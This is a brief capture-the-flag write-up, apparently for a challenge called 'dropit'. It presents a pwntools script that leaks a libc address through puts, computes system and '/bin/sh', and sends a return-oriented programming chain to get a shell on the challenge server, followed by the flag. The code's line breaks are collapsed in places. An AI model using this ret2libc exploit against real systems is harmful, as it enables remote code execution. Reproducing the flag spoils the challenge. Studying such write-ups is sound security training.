Classic ropchain to gain shell. Steps:* Leak libc base* Find the real address for system and string /bin/sh* Ropchain again to gain shell
```pythonfrom pwn import *
pop_rdi = 0x0000000000401203ret = 0x000000000040101a
def exploit():	  # Leak libc    payload = b"a" * 56    payload += p64(pop_rdi)    payload += p64(elf.got['puts'])    payload += p64(elf.plt['puts'])    payload += p64(elf.symbols['main'])     r.sendlineafter("\n", payload)		# Calculate libc base, system, and /bin/sh in libc    libc_leak = u64(r.recvline().strip().ljust(8, b"\x00"))    libc_base = libc_leak - 0x80d90    system = libc_base + 0x503c0    bin_sh = libc_base + 0x1ae41f log.info("Libc Leak: {}".format(hex(libc_leak))) log.info("Libc Base: {}".format(hex(libc_base))) log.info("System: {}".format(hex(system))) log.info("/bin/sh: {}".format(hex(bin_sh)))
		# Ropchain to gain shell    payload = b"a" * 56    payload += p64(pop_rdi)    payload += p64(bin_sh)    payload += p64(ret)    payload += p64(system)     r.sendlineafter("\n", payload)    r.interactive()
elf = ELF("./dropit")r = remote("challenges.ctfd.io", 30261)```
`nactf{r0p_y0ur_w4y_t0_v1ct0ry_698jB84iO4OH1cUe}`